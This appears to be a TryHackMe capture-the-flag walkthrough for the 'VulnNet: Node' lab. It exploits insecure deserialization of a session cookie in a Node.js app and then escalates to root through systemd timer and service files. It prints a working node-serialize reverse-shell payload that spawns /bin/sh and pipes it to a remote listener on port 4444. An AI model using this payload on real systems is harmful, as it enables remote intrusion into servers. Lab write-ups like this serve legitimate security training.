VulnNet: Node TryHackMe WalkThrough

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

  • Difficulty: Easy
  • Web Language: JavaScript


only 8080 is available

More Enumeration…

Manual Enumeration

  • No sensitive data on the source code.

Let’s open burp and catch the data.

Looking the cookie, i can see that the value of session is a base+url encode value.


{“username”:”Guest”,”isGuest”:true,”encoding”: “utf-8”}

So, the only way into the machine is through some RCE cause tampering the values of the cookie may not give anything.

Let’s Learn & Hack

Use the same cookie and request the home page /
  • Point to note is that we can see that we have unserialise error.

Let’s use the payload:

Used payload: {“username”:”_$$ND_FUNC$$_function (){(function(){var net = require(‘net’),cp = require(‘child_process’),sh = cp.spawn(‘/bin/sh’, []);var client = new net.Socket();client.connect(4444, ‘’, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})();}()”}

Got the reverse shell as www, and doing a lateral escaltion,

Privilege Escalation

change the .timer and .service file to get the reverse shell.

will get root shell in 1sec



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